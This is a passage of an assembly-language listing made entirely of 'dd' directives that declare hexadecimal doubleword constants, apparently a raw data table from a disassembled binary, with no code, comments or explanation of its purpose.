dd 83DB31C7h, 0B1AA0197h, 34E0BA6h, 53F3039Bh, 3F31A077h dd 0EEEB4FDDh, 380538A1h, 713D038Dh, 9E47D9ACh, 32715830h dd 0C3F0AC25h, 2F7B3D81h, 0FA091DCDh, 0E07F1E0Dh, 0D8497C4Eh dd 9FEA5A43h, 0A8EAF83Bh, 9244A597h, 49527C9Ch, 0FAC2830Fh dd 3B58255Eh, 8BC47613h, 1AD8BB69h, 0CF341592h, 8C5C203Fh dd 0D441B3CEh, 0AA3A7F26h, 4EB2443Fh, 0B8719D84h, 0DD628C4Dh dd 0E3DA5937h, 99C7A7EEh, 19C8CDF3h, 64EBE511h, 2D990721h dd 0D157A7Ah, 10B2E953h, 0C4F6C31h, 27D4084Dh, 40C0FC9Ah dd 95FF394Bh, 0C4206DB2h, 3CE9CDE2h, 0B98F9C61h, 38FE400Ch dd 2BB7AE57h, 0BA7833A5h, 0E75A41AFh, 96B55593h, 5AF31984h dd 3771019Ch, 2D495C0h, 0FF5DBD5Fh, 544FB99Dh, 8185D65Fh dd 75157189h, 42B222EDh, 5615CF85h, 799FE06Eh, 88D1FDCDh dd 8C638D4Eh, 44256899h, 4D2CC8DBh, 8CE6C27Dh, 945E375Dh dd 58D5A5FFh, 22E00D69h, 8C58BD60h, 0F5B02362h, 4F0BD580h dd 33C72C3Ah, 0C12EF55h, 3A890407h, 9805A5FFh, 67B3BC10h dd 0DFAEB5FBh, 0F100D143h, 0CB6102C8h, 471211AFh, 0E5FDBBD7h dd 35090A53h, 8E0E256Bh, 0DA5E03CDh, 0F94BD715h, 0E8D1B562h dd 40239DC3h, 0D0992611h, 0DB34E975h, 0C292B2BBh, 0B0D98208h dd 2A5DBCEAh, 0C4CB09ECh, 0D0BD4B50h, 0A6DA9F19h, 0E8290806h dd 6B7AA515h, 900B5BA6h, 0C0C5C247h, 4FF8EDC1h, 9D0842C7h dd 8455870Ah, 8F1F137h, 0CECDF3FCh, 0F02997BAh, 225A225Fh dd 0BAC0DF5Eh, 76537EA3h, 26C65934h, 3A8FBEDDh, 55D3D629h dd 1C0E2090h, 0AF0AB194h, 14FA2F70h, 4AB014A0h, 5519807Dh dd 740C83E2h, 3710CAE8h, 0AC60B56Dh, 3C02D64h, 2448EB67h dd 23D61380h, 0FDFEFC04h, 0F78B38F0h, 0C3074C24h, 48B3D2CDh dd 56430BA3h, 0FDB78B6h, 0C11A6D57h, 7AB7B360h, 798D477h dd 6C863EEFh, 8A155817h, 1EADAC5h, 0DB139FFBh, 3DD11F20h dd 3F0C7EC1h, 74D9C2B5h, 0A436069Dh, 0BC6AB223h, 0B1726FF4h dd 0B39F6648h, 4BF39477h, 0B92553B6h, 0A922565Dh, 0A0B0809Dh dd 7BA89CF5h, 40891EECh, 92DFFBDFh, 6853759Eh, 0B7DDB489h dd 79F9DC4h, 0A66C156Bh, 354D7558h, 987D9302h, 0E49BF077h dd 7C740C68h, 6D2B4136h, 391708ABh, 0D48261FEh, 6979EDB3h dd 0EC8A2C62h, 1831125h, 2BFFF797h, 0B8DC962Eh, 1A3C364Fh dd 67882713h, 2135E942h, 6353A7BFh, 1826E3B6h, 0AD28F17Ch dd 2351B7Fh, 31CC9B2Bh, 28E6B1E8h, 0AEE54788h, 0D6826742h dd 0E2C3F153h, 0F038F2AFh, 0FCFD27BBh, 7F0F59F4h, 18A602F0h dd 15A1177Dh, 0F8AFE582h, 6D30FE66h, 6A4CC126h, 0D3395A85h dd 0DC19BF3Fh, 7C233854h, 2F8125D6h, 0A4D1A0Eh, 3F7D6D9Dh dd 0BD085C91h, 0A2E0D52Bh, 650C77F4h, 0E5278A69h, 0A14734CFh dd 1A8E92F5h, 5E57B819h, 4C01EB8Bh, 0FC8526FFh, 9CC7E15Ah dd 0D17CD899h, 9E757C6Dh, 52C5671Dh, 1CB264CAh, 85AA01B5h dd 8B194436h, 4D674598h, 634C0F38h, 0C002A0A6h, 5D7A42B6h dd 0A1936E8h, 0E947FBFEh, 14458016h, 4C61FC36h, 0EE78994Bh dd 62F3741Ch, 0CA32AABBh, 2B7F1ECAh, 0F1C7E50h, 5B541D3Fh dd 9090CEFCh, 0DF7D62E1h, 0C2CD8207h, 0E2AFB754h, 66A9D730h dd 0D041685h, 0E8199510h, 106B881Bh, 0DC1F2B3Ch, 0E6F60E4Ah dd 0FC218A73h, 88869E65h, 0E6393984h, 0B919C144h, 1C12AC64h dd 9F7B5D1Fh, 319C7F52h, 77564387h, 6002EBEFh, 3632A1C9h dd 0ECF8C532h, 24571913h, 0C8E293FAh, 0CCE13D9Bh, 7FDC5554h dd 4CB82409h, 189C614Eh, 341EA16Ch, 9043B047h, 74F88426h dd 0F0928F3Ah, 63D8FEF4h, 0CE1EC805h, 0C1A6CB54h, 0AB414AFAh dd 4D81015Eh, 1DC977B0h, 4844D79Eh, 0AD1007B8h, 733E7966h dd 0DEBC7213h, 0B93E091Dh, 988471Bh, 528C06B5h, 0ADCD280Fh dd 0C649FBA9h, 4F72CBA4h, 76850D2Ah, 7F853C5Fh, 0A21FDBB7h dd 2CEDF43Dh, 6A71CE92h, 0F837705Eh, 1606BBFBh, 0FCD3F99Bh dd 0D8BCD041h, 0E6F4F252h, 0BF2368E2h, 62EC81DDh, 513EDC9Ah dd 3A7D0307h, 653A15CAh, 51BFAC7Fh, 0ADDCA398h, 76FB618h dd 5BAD3D13h, 6F174933h, 70E65279h, 863B78C3h, 46DCB171h dd 8F5CE22Ch, 6DEA5614h, 2FAB1F6Eh, 9DA64F1Dh, 3C6EDB2Bh dd 0D7D8415Bh, 3417C8ECh, 6B3825F0h, 0E0F6BD1Ah, 0C4A18E60h dd 0AA832F48h, 0E15C2D0Fh, 0CF04FF4Eh, 0B437E701h, 78858C90h dd 0C3FFB4FAh, 3F2D7C9Ch, 98219B29h, 8C0B166Dh, 0A8DD718Eh dd 0B1812942h, 804F0EE7h, 29943580h, 75BB3363h, 6002AF55h dd 4B4E32F9h, 5B1CF56Fh, 5E7B218Eh, 0AE14160Ch, 0F96468C9h dd 3A334C83h, 0E6576745h, 8F4687A7h, 42E8E5BDh, 26EFC559h dd 5E366FD0h, 0ADCE8447h, 2A341FC8h, 106AEF20h, 401946A2h dd 0B6ECBBF5h, 6F94C2CAh, 3160E2CFh, 734267Dh, 0E070D705h dd 93E20FEEh, 5E738087h, 11FD2768h, 0C87027Ah, 3E18BFEFh dd 0CFE5BFC9h, 49FA35B2h, 0BA8C2C60h, 0BA7692A1h, 7807EB0Eh dd 6C4478h, 0BDF277A8h, 2E8526FDh, 133B48B0h, 44D45886h dd 24CEA44Ah, 0C15E58EAh, 7B0DAA08h, 0A8FEB6BDh, 3E5DDC7Ah dd 2D102F64h, 76118288h, 4153DB61h, 80260246h, 137B3D8Ch dd 0E2C5283Eh, 0CF588970h, 1060B11Dh, 0A37ECA3Ch, 0A13F6057h dd 0CADE8045h, 869F4523h, 0CF639EC2h, 7CBB94Dh, 232B811h dd 64679CC0h, 4A1AA6BEh, 0FD4BE07Ah, 0A8CA3A44h, 0F7FE9F0Ah dd 0FB1E361Eh, 5627864Dh, 0AFF55EA5h, 54E9CAC5h, 4256C05Eh dd 0CD986CEAh, 0D0DB40B8h, 2428B831h, 0C071CECFh, 4CC5CF8Ch dd 6E00E30Ch, 98B8CB6h, 3C18DF30h, 94CB7AF7h, 36408B32h dd 64259972h, 27A3E762h, 84B8CAB3h, 0DE6A9581h, 29A1AF1Bh dd 2E8B1E72h, 2AE8594Fh, 74033744h, 0A9C13F2Fh, 0E8A8034Ch dd 0DFE808E3h, 0A85E022Ch, 0E5272019h, 74A9C6CCh, 0B1D47A3Eh dd 3551D1DAh, 0DCBFD159h, 35B8B5Fh, 46784AF3h, 0EA387AEBh dd 0CED7785Ah, 0C5AE69EDh, 87F5DECEh, 786D53DBh, 11F36F09h dd 82DFA204h, 0FF733CE7h, 31E21C40h, 69E545E5h, 5BFDFE9Fh dd 0A229B857h, 0CCACC767h, 49454FEFh, 0FA710A00h, 2C4E38F7h dd 5497FDB9h, 6EB135A9h, 4F1966Bh, 496CE7C4h, 0EEA164F3h dd 478841E8h, 8493E1A8h, 72360F34h, 6E72FCCEh, 0F13018FAh dd 14837A80h, 0AA05371Ah, 36893CC4h, 0E023DDA0h, 5DD9D6E8h dd 0F4803675h, 75CF283Fh, 7A9DAB26h, 0DE050630h, 78AC368Ah dd 5A09C817h, 0B9DDEF7Fh dd 3EE753D7h, 0D480311Bh, 82CABA1Eh, 12B51ACAh, 0C030FB02h dd 4D6425CCh, 0EEBBD970h, 94C99B0Ah, 7D48503Ch, 73868AC8h dd 728F937Fh, 82F2F6EBh, 4F1B36F0h, 0F14BFDAAh, 0B35AE48Ch dd 331C0009h, 0A8CAE971h, 34D6886Fh, 0FA6EFB91h, 858B5EA8h dd 0F8FFA88Ch, 0C3B12E4Eh, 64D3E3C2h, 259BC5FFh, 0CCC4C6C7h dd 0E0956C5Dh, 0CF072FA8h, 3F48A078h, 36ED8606h, 1DD8EBCDh dd 0A2AEB4FEh, 9E7191FAh, 3D634CD0h, 4DBE2653h, 0E9337398h dd 15F7E068h, 8AB43690h, 82957F3Bh, 8A9CA52Ch, 10753EA0h dd 0B710D5ECh, 5C30D792h, 70D64161h, 431742B1h, 0D45C59E0h dd 25ED4D80h, 0A408989Dh, 8F467F5h, 0E16DFAB7h, 576A8A73h dd 8C06DB48h, 30E27A12h, 0A4EA88C0h, 0A8CA3D86h, 545D19BFh dd 0A9EA0AE4h, 0D85651CBh, 0B5457821h, 0C62E1B3Bh, 578DDB40h dd 0ECAF02E8h, 0E51245B5h, 0DBA044D6h, 983A5E5Dh, 432DBB52h dd 0F63401Ch, 0D8D56667h, 0E5E2F67h, 7299747Eh, 0FBE7CA5Eh dd 4E889894h, 953E0B0Dh, 0CA694A7h, 249ED17Fh, 0ADC01BA4h dd 2C352D25h, 2BED077h, 0E008CDAh, 6C381B53h, 0D92243EEh dd 7D5FC467h, 0E043F5AAh, 0B093D564h, 0DBC3B85Bh, 0EAF4B8C9h dd 0DE3219D0h, 0B0E62FF8h, 0D5BB05CFh, 96BAFC2Eh, 2ABF6C72h dd 0EF0D3FE3h, 0EACCEDECh, 9DEFDAEBh, 0C7A2B26Ah, 8D405D1Ch dd 8770DF6h, 4CC30C35h, 0D37B6C73h, 8A50332Fh, 12A49698h dd 75532B5Dh, 4DFEFB17h, 4B5C4029h, 0C7703D00h, 9D9D3D6Dh dd 4099B648h, 37F39C9Fh, 0DB8121DEh, 2C409483h, 7C803D25h dd 0F8F160A6h, 0D2A16712h, 0B35CC2A8h, 0E6175AFEh, 0C7DBDB5Dh dd 0A2DDD7E4h, 0D96EDCBEh, 0FA24C10Dh, 0BF1C2Dh, 0B7A5E521h dd 988852A8h, 93733234h, 87E20084h, 0D14EF132h, 5EB763FBh dd 961DC098h, 1AD22220h, 554ABE74h, 0CC5FB9Ah, 92A657C4h dd 0D34443E0h, 905579C6h, 8E3D4AE1h, 0FBEA1AD6h, 0C8E3A3BEh dd 40F68561h, 0BAE67C90h, 53D556h, 0B1FDE3FDh, 8480FF32h dd 0C74AE314h, 4E2FAAB8h, 2302AD97h, 0C1F47F64h, 0BF9E1A4Eh dd 7267BD07h, 0B2D635CAh, 35FE3BDCh, 58D164D1h, 666FD813h dd 0B464210h, 0AD1AAFE6h, 0BFBA3B50h, 0BFA7A677h, 0CCB90CB1h dd 225C2268h, 9F1C3628h, 295A8FADh, 0C80ECB6Eh, 4FA37FECh dd 12B38C85h, 0AC3B8379h, 4E0CE9BCh, 0BAAC9777h, 61C3331h dd 0BAEF88A7h, 9BA49A1h, 22927872h, 4322989h, 5E15536h dd 1FDC2EACh, 870F0A2Fh, 2F079F9Eh, 69FA9B7Ah, 1AAA7B93h dd 28E5B349h, 0B2564EEh, 276A0C61h, 1F5C1D27h, 15916B1h dd 69AC1E4Eh, 0ADA2776Dh, 28065943h, 4BC56CEAh, 0D48F61F3h dd 2A416FC6h, 5D885DE3h, 993A1327h, 7982D292h, 0D8415DDBh dd 4A2F4C7Ah, 6E823C72h, 0C644682Fh, 197DA368h, 0DB08EBB8h dd 2D6395EFh, 91CED922h, 489A1Fh, 6A480C85h, 1DC634A0h dd 0A401EEB2h, 0ADE417E8h, 0CEF45E57h, 7A9F098Ah, 3377B015h dd 93E3BF14h, 82B778C5h, 0D8EC40F4h, 9FC88AE1h, 0C3D61BD8h dd 3F7EA06Fh, 2D01CFC0h, 17FC474Bh, 0B55A2CAAh, 0C72FF0C2h dd 0AFE76B67h, 3D89EE24h, 0F15762C8h, 247E8473h, 13D928EFh dd 106B2670h, 0E3CF5B6Fh, 6E8DFBC5h, 0FA4D5B28h, 4EE66D89h dd 0CB58052Ah, 19A54864h, 0F8C655AAh, 0C22B36Dh, 4E485420h dd 0AFBF428Dh, 20DD30DEh, 0AD7D25A8h, 84F22705h, 0A0FA6C1Ch dd 0AE0702DFh, 844B7432h, 45C51C70h, 80525E12h, 0AD9343BDh dd 5FB8F7D3h, 95DB10D5h, 98297649h, 4C32DFBCh, 0AC7EB2ACh dd 0C7337857h, 0CE9269B0h, 8FAB42BAh, 1A1CA0FBh, 994F5993h dd 0AF5BBF86h, 5F3B31C4h, 0E8803E30h, 20E06BEAh, 158C356Ch dd 0EF4F2C8Ch, 3F243B80h, 1039CA29h, 3ABDD994h, 59AC2BECh dd 24E4ABCBh, 0F00F4175h, 4ECB2E58h, 873BACABh, 0F94759C1h dd 2ACE457h, 0BE20B9C4h, 9CBCE21Fh, 607F18F8h, 0B320A05Ch dd 0C6AE6F4Bh, 0FD1290Fh, 9494F3C9h, 0EE5905ECh, 481EF9C4h dd 7BDB180Dh, 50520577h, 0E0B3AA34h, 0FF81B4C2h, 6A59E2E0h dd 0CC856FAEh, 0A4717270h, 0BDA21DEBh, 0AFBDC14Ch, 655C5C09h dd 0C70138C6h, 0DA43C8BAh, 10A8C534h, 5C189CB4h, 0AC5A4728h dd 267643Bh, 1AB5DF1Bh, 0F036A742h, 6A7616B9h, 0B654FD3Bh dd 337B8ED1h, 0CA300043h, 61792771h, 4E0E345Eh, 1E499122h dd 0FC53B9CEh, 0CDBBADFDh, 0DEA89D8Dh, 4B13BBh, 7C790B89h dd 0DB57AA08h, 95BB817Fh, 0C62657A6h, 0DBA405B5h, 0DDA6DE7Ah dd 0C6F2164Ah, 0F0CD1C19h, 70636F9Ch, 6C6552DEh, 4BA32BB1h dd 0CAD0C573h, 58FC800Fh, 0EA36D960h, 2E96BA71h, 0ED644699h dd 68DAE046h, 6EF712B5h, 80B936CEh, 50364DEDh, 0A9E317C7h dd 0B991E158h, 7DC258C1h, 28EE3CB8h, 3D83A53Ah, 0D3BC13E6h dd 966EBC4Fh, 0D8EC90C7h, 0B693481Ch, 0F331C73Dh, 3A0292A9h dd 0EB9C748Eh, 0CC46A295h, 24202DD8h, 0D8D8172Bh, 95A66F6Fh dd 46A605BCh, 697F48CFh, 6D3C3979h, 75170721h, 45B39C21h dd 928A928Eh, 8759515Dh, 36810D46h, 6A9FA751h, 214591B8h dd 898DB3ACh, 0EF01914Ah, 0FA32F51Fh, 620FDB2h, 0DD78C53Fh dd 310C4DEDh, 0DE031082h, 0A2B08B4Bh, 0B4E93BCEh, 7A963484h dd 21F439EAh, 0DAACA06Bh, 0DB4CE77Ah, 15382977h, 3F4E9FD0h dd 7217700h, 826F39F8h, 4CE0A046h, 0EE18100Ah, 8781D740h dd 0B914ECD3h, 46B40671h, 3742C110h, 56E4C2BBh, 0A29BA982h dd 0FCF577Eh, 66C7D0C4h, 8F3FBED4h, 32E61675h, 89209BD4h dd 27A2D835h, 29F8C663h, 48248137h, 5D8C142h, 0F289C6E4h dd 0E4F5129h, 0F61CF994h, 1FCA0114h, 0D59185E6h, 7C4F0088h dd 0D556BD2Eh, 0DA612512h, 0B19A3427h, 20A74280h, 596C78C9h dd 0C22A72F7h, 58F750BFh, 8D1FDE56h, 0D0C88A57h, 579DAE50h dd 14687D98h, 6ADA5133h, 0AB14FE82h, 418BDF22h, 0FC5EBA8Eh dd 55E4699Ah, 0CCE6AB07h, 64EEA09Eh, 2261ED5Eh, 0C2C72DCEh dd 685A2330h, 0E60D9B57h, 6C7A9A81h, 6161B5B2h, 0EDE53450h dd 932FD178h, 0F150CDA8h, 992412BBh, 0FA7C9FEBh, 0DA2978E2h dd 334BFFADh, 5A033B66h, 1BE289B7h, 49E4E281h, 31AE3CFBh dd 0A2B657Ah, 0C67F49CDh, 0F6BA1CF9h, 54DE6D42h, 0CBE3A643h dd 642E3127h, 0C00613C4h, 0D5054Dh, 9E3E19FDh, 0FBC3B7Ah dd 0E3362FE0h, 38AD20Fh, 0EF84E94Eh, 996333E2h, 0B19CAFB0h dd 0AE73907Fh, 0C05871D5h, 0FE62334Fh, 8889882Dh, 0A3398B88h dd 0F9139ABCh, 0B8238FC1h, 0D2D306DBh, 55524D42h, 0CD1FAE15h dd 0F81479F9h, 647DA5B7h, 6D25E306h, 0F0878B74h, 694352C5h dd 0B98562E4h, 0B570CD28h, 66761A7Fh, 0BB430570h, 9A1A37A9h dd 0F8419973h, 1638C964h, 0FCF0DF35h, 9263542Dh, 855A4A72h dd 3CABBFCDh, 0A7740E41h, 9F100361h, 0AF1B2488h, 4E39979Bh dd 79E61192h, 0CC032DD6h, 0DD643CA9h, 849F024Ch, 0EE170921h dd 4642D93Eh, 34733475h, 183FAF8Ah, 453FE2F8h, 837D3C50h dd 7C02BFFh, 0F0B75A69h, 5DE30DA2h, 0E9F95FA0h, 6CC8C30Bh dd 0F36F3DBEh, 19708535h, 0D8397918h, 7B462C70h, 94066E1Ah dd 8F2B96AAh, 25BDCBDAh, 598A4783h, 4721BFCBh, 0D946CC89h dd 0BCE0D52Ah, 0F6C14B80h, 0F5E7BEC0h, 2E693DA6h, 0CD918614h dd 1D5B0475h, 24DBF41Ch, 6477366Ah, 801F3077h, 0B707B365h dd 0F4DD2E72h, 0D2BAE027h, 2FBB064Fh, 93B2CCDh, 789EC9F9h dd 41011D11h, 8F3348B9h dd 5C000437h, 4859C68Bh, 0E31B7C20h, 1B075764h, 0A2646205h dd 9681A60Eh, 0D7F4335h, 242CC337h, 0D340DD41h, 17114471h dd 0D738D301h, 2BF80EAh, 4C22F1DFh, 5F593818h, 41A0CABDh dd 913F6EB8h, 1EB21EFAh, 939C5529h, 24C4E3DEh, 0B5A60B30h dd 610A36A7h, 0B446601Bh, 29A8605Eh, 0EA9F1769h, 62A99E8Ah dd 976AC03h, 7FC878FDh, 867453C6h, 58B9D0A7h, 0BF810BE0h dd 7E73C9EEh, 779F8860h, 351DC629h, 8631FEDh, 4BDBD704h dd 0FD21A511h, 3E35AE90h, 2F884EFCh, 9CFBD15Ch, 0E25E8A45h dd 4377177Ah, 68C5A00Fh, 0F5752883h, 68138C81h, 3FF300B5h dd 0C9CCF5C3h, 2FD731DCh, 3B6F3F0Dh, 7E323BBFh, 0E189B21Fh dd 39B77821h, 2C7F39FDh, 8AABA02Ch, 1A66A978h, 0B188258h dd 6780DAE8h, 0C81535D8h, 0D23FA815h, 65DBA03Ah, 0D9FB9CA7h dd 6DB92FEFh, 3B2FD80Eh, 836FFEBEh, 88D95287h, 33D78839h dd 0E65F0F33h, 0E7D1FDB4h, 2DE2D476h, 7F0FF11Dh, 2AE00050h dd 50E19FF7h, 443ADD99h, 12BF110Dh, 0A9CCD083h, 0FE7F1062h dd 75F664E8h, 51B2FB09h, 9B37237Eh, 0BFC5EE07h, 0AE78422Fh dd 777638BEh, 0E3F72649h, 0ACF32395h, 0F139AF13h, 9A9C8EC8h dd 38B86FF4h, 0E785B6C1h, 803D6BE6h, 8FCA7083h, 1577EDEBh dd 629940FEh, 7B4D4FE1h, 63943727h, 0BBBF85CFh, 0C7801C4h dd 24B272DCh, 770F0E82h, 4CED9E7Fh, 0CC6DADB0h, 169D6EECh dd 2ABB7D5Ah, 330BAD37h, 0ACC0615Ah, 56BC852h, 0C20BE4B2h dd 1D370B72h, 63584C89h, 75941620h, 44684FF9h, 0FD651C3Bh dd 255CB3B7h, 8B0D2964h, 0C15230E4h, 0D47C3FF9h, 107B1061h dd 0CB60AB71h, 6104D722h, 67E0D4C3h, 0A910E043h, 3FEA221h dd 0BCE1AD47h, 62CC9983h, 0BB959B38h, 9225B57h, 7FD52DFEh dd 0A60E5D0Fh, 0E8E59CCh, 6E569FBBh, 0FA2C197Bh, 93480B61h dd 5ED3DA1Dh, 0FEAC2D68h, 6970CCFDh, 31D5F073h, 0F64C039Ah dd 0F422BB25h, 0A1289316h, 0BB67D9F4h, 79605B69h, 0C978F684h dd 470B41D5h, 712E8483h, 7E274FBEh, 3D2D9DFDh, 2249A27Fh dd 96EE40A1h, 0AF54B721h, 6F84A03Dh, 2F18B450h, 5118F1BBh dd 0AF233956h, 17E9F1F3h, 3997A830h, 0DF51752Eh, 0A659B58Fh dd 9624826Ah, 58523C45h, 6C13969Eh, 0E028AD5Eh, 2B672D1Bh dd 0B955F6AAh, 51B499D3h, 9FD12B0Eh, 32084CD0h, 9242F9ACh dd 4C51C141h, 7E650AD8h, 73F34387h, 3C78533Ah, 3AFEA7EAh dd 613BA45Bh, 0EF1B7BDFh, 415E04ACh, 0E6D4143Ch, 932425FAh dd 29DED879h, 866374E8h, 0E7990C73h, 0CEF68517h, 4573A612h dd 78703536h, 21EAEECCh, 48634B33h, 116FCEC4h, 897A95CDh dd 7E43E7EDh, 4735BE4Dh, 2E672E4h, 24CE297Ah, 19C516F6h dd 0CDE277EAh, 6F45B004h, 0F18AA94Ch, 7BAE4D21h, 2223DED3h dd 69FA2006h, 7BFA1C81h, 707FBA3Ah, 0ADBA8986h, 0AF7D67CAh dd 0CDF7A814h, 6F60C216h, 0A55BA4F3h, 450979E7h, 0BA105549h dd 0D533CB01h, 0C069ABAFh, 0D9EFD21Eh, 5899C3A8h, 0CCF41401h dd 7668E4F8h, 0EDAEF29Ah, 0E370086Fh, 90091686h, 3FC3E5FFh dd 5FEAAA15h, 64988DCh, 0B9CFC8D8h, 0AA91C84Eh, 4DD5BA18h dd 0A2C72E5Fh, 0D62F3A56h, 95882180h, 0F33E1813h, 0FB7A66Fh dd 0F3E0AA5h, 23477527h, 4BFC2126h, 0B1E453CFh, 0CBF78130h dd 0C55819A3h, 0CA19D133h, 0BB47A2DEh, 3E06EC47h, 5C24F71Fh dd 65333CAFh, 0D4C16AD2h, 0C42EDB43h, 0A37B6B11h, 0BA15CB81h dd 0C3E22E69h, 0C5C95823h, 730D0EF4h, 3DFCE8B2h, 0D0EB78C0h dd 275580F7h, 4F799184h, 8A0CD5FFh, 0BF39E948h, 0FD873F94h dd 15FBA040h, 93A3208Eh, 0FBC46EEFh, 4448261h, 7CE85B50h dd 0DD48E14Ch, 0B15734CDh, 26D7DE57h, 4A7F57D3h, 65FD2433h dd 93C0A93Ch, 6F25BE3Fh, 557FFB1Bh, 859F2F4Bh, 968C631Dh dd 308C4181h, 0CA58C901h, 0BA260C82h, 9BB3F172h, 4E11E91Fh dd 785173ABh, 0CD069EF3h, 29E4BF45h, 962DA0Fh, 5B00B6CFh dd 1ED7EBBCh, 15714FD4h, 0FB5BA8ADh, 19DA1B51h, 81F7304Bh dd 0C98E4A1Ch, 0BE0FE328h, 9CB07E9Eh, 285DE421h, 76CD204h dd 0C3FCFE6Dh, 6FBDD7D8h, 0C212AEEEh, 0DF5C7A5Fh, 57985711h dd 185B9565h, 82F03173h, 0AA6DDA9Ah, 146E7F22h, 0B924D8C1h dd 95B4C298h, 3A4D4A6Ah, 88FAF505h, 12A05B6Ch, 967CE7D5h dd 0EB145709h, 0E3C45195h, 2F33FC9Fh, 8587355Bh, 0B1DA3F6Fh dd 4B2145F9h, 8236C592h, 98AD7EEBh, 0E43F476Bh, 736CB9CAh dd 5BF6D0E4h, 69F3CC10h, 498E9BD7h, 441A239Ch, 0E1BDA4D9h dd 4B1120B5h, 6688BF4Eh, 0F9288AEFh, 0B6299DA9h, 76B8D6ACh dd 0F1DD78F1h, 0D7E17E26h, 831D73FAh, 990B1B3Eh, 0E3402303h dd 1B2D06F0h, 9EDABE0Dh, 0E4E5F97h, 1DCCF142h, 5F267E09h dd 3A1C0D23h, 0C0DF9C1Ah, 0BF2E836Bh, 0C8EF5DF2h, 78121F42h dd 28D01992h, 332AE818h, 9D9917FFh, 2D02C76Eh, 876D93B0h dd 0AED687A0h, 6BE58B09h, 24AED964h, 58A377BFh, 2A7492EBh dd 0A445A78Bh, 71A16E40h, 32035018h, 9026CDC2h, 0C0A04640h dd 17AB0AB9h, 9C4000C8h, 19316612h, 341EC13h, 92C464DBh dd 0FE05F062h, 0E719E4ACh, 22C501BFh, 967715A1h, 0C8E61C23h dd 4E2ADA18h, 42E01101h, 0D2432FC6h, 4C5063DFh, 0BEE5EE56h dd 63EEB3D0h, 0B410A00Ah, 9E637997h, 623B0A9Bh, 8A26C784h dd 13C6BAE3h, 68B7D448h, 0F015C4F1h, 27668151h, 4AD31AB4h dd 277A45B9h, 4423F0ABh, 0E7204B04h, 88696680h, 6B827DF0h dd 7B0CF7C2h, 0A73FD806h, 4115E22Ah, 0C5F807B3h, 0D92D5F02h dd 43AEBC91h, 0FC94E411h, 4E99FA2Ah, 65631E0Dh, 4AEC37D5h dd 4F650A8Ch, 4A67CE0h, 0B44F40C3h, 86ECE0C8h, 0F160B80Dh dd 957845AFh, 0C13922D5h, 0D27D2662h, 293812C0h, 0BB1D19D0h dd 4734271Fh, 0B059F487h, 885AA14Bh, 0FC845A0Eh, 0FA287E70h dd 950D589Bh, 0A5EA2A51h, 10BA5AD2h, 16652C43h, 0F3BC5C4Fh dd 0CF287868h, 0B00C40E6h, 0E6C42AEh, 4B5E80D1h, 0BE5DD963h dd 58894AD0h, 19DC399Eh, 0B127E894h, 25631FD0h, 70B98A6Eh dd 74288430h, 7843C5D9h, 3F5C91D4h, 0D324C318h, 6A105D0Dh dd 0ADA33ABh, 1098F19Dh, 7DD6F2B8h, 11821C68h, 0E093F4D7h dd 0A704C40Dh, 21AA2D68h, 912EF1E0h, 94ECBE08h, 2F279D5Dh dd 93C34096h, 2C0770C7h, 4DC1EF87h, 35827F4Ch, 9FD51A07h dd 77A088C6h, 0E44A3DDh, 3A9C823Ah, 7ECAD563h, 3B2013Fh dd 81013556h, 784A766Eh, 5AAE2A49h, 7FB64B8Ch, 3B3D729Eh dd 204999EDh, 0B0E3B004h, 49DAC924h, 14C1D308h, 0B102F4EEh dd 7CD91499h, 2D1452D2h, 0B3085E5Eh, 2FA701D5h, 5A1B9EA5h dd 0B8AC2A0h, 6B4B66B3h, 7770879Eh, 0A269B2A7h, 82CEE4FAh dd 0B24B1A35h, 98275FF6h, 0FC1F0A7Bh, 0A6C65715h, 84892D80h dd 9D4E6FBDh, 0EB098FF6h, 42CDDA8Ch, 0C7572595h, 50201A99h dd 0AD2068ABh, 0CDA5B835h, 8A6FBAA5h, 0D84106A3h, 80A30505h dd 82CBF87Bh, 0CB9F1083h, 910099CEh, 0BF83E110h, 8F49B005h dd 0C3261F6Ah, 0C95BADCBh, 0AF780722h, 2E8AE952h, 5F7BF9C7h dd 75C70C1Ah, 1743062h, 1EE19087h, 0E3CF828Eh, 0D5230A16h dd 8DBDFC35h, 0F325C588h, 0B1ECD3C0h, 0BD7DFB88h, 731C7491h dd 30097A5Dh, 0C0DCEF8Ch, 753E003Bh, 0A84617F6h, 0C53274E1h dd 0C00D093h, 0BD1F29D2h, 0A42F2305h, 3A8375FBh, 821D4688h dd 0BD21793Ah, 0A4DFF825h dd 85AE8D81h, 764507FCh, 0BDA9FDA6h, 5E0AD8FFh, 6D4F9D57h dd 4679B626h, 26A005DAh, 0E29F166Fh, 41F54E4h, 545F7C11h dd 5345139Eh, 6848F457h, 0C2787296h, 9AB20E2Dh, 76227B66h dd 651E4B6Dh, 7B9EEA6Ch, 0E8BC084Dh, 6D73A5FAh, 0D42AB99Ch dd 0DB9EAE32h, 0A1C5FFE1h, 4BC07D9h, 7E3575F0h, 0BC781BAFh dd 0FE471126h, 0B01948F5h, 0E1655D11h, 0A50D41F3h, 7463B2ADh dd 0B324B9E8h, 14650B6Fh, 0A6061FD1h, 0ACF1CB8Ah, 0BAD04117h dd 770A5DAh, 0EAB345E4h, 0A5516CCCh, 4B5C517Bh, 0F797077Fh dd 0E06D9E06h, 35EF915Bh, 0EEA8418Fh, 37369998h, 6D17207Fh dd 0B5F7E0D7h, 0CD7A2172h, 47849859h, 74C7A894h, 0E2CBF2C4h dd 0DC914DB7h, 3F37B9B5h, 0FBAF9CC2h, 0F03CA9D5h, 50DA645Ch dd 67A697B9h, 0EA899926h, 0A6DCA5F7h, 673BE158h, 0CC51F555h dd 0DCF00F4Eh, 9344B686h, 0D894CADEh, 9D9FC238h, 0C032DC60h dd 10985EC0h, 569115A0h, 18584864h, 9A0A968h, 81A92F25h dd 0C05E6168h, 0CCDEE79Ah, 209A2CA1h, 1C4C7455h, 5269696h dd 4B165400h, 7945B4Dh, 106520B1h, 9D475A39h, 568E293Ch dd 9813590Fh, 0A22D5383h, 0CAB6964Ah, 91C57AB1h, 0EBE30B9Ch dd 992A2612h, 8E2721F7h, 95E22CE0h, 4B50C9D8h, 0FBADE7E3h dd 0CDCA3933h, 0CA721D2Dh, 1A70EFD1h, 0DBADE344h, 3233A957h dd 0CA443167h, 5D62925Dh, 0DFF189DFh, 96AD8EE5h, 0F1CDE55Ah dd 9EDFFBBBh, 0B0D91F8Ch, 0C5BEAF2h, 575E0F4Fh, 4DE123FEh dd 0EB43449Dh, 711E3890h, 56599A75h, 8CE59DA9h, 28D4CAE1h dd 7B56D1B4h, 0A46A2713h, 0A94D6859h, 1401482Ah, 0F65967EAh dd 888C9AAEh, 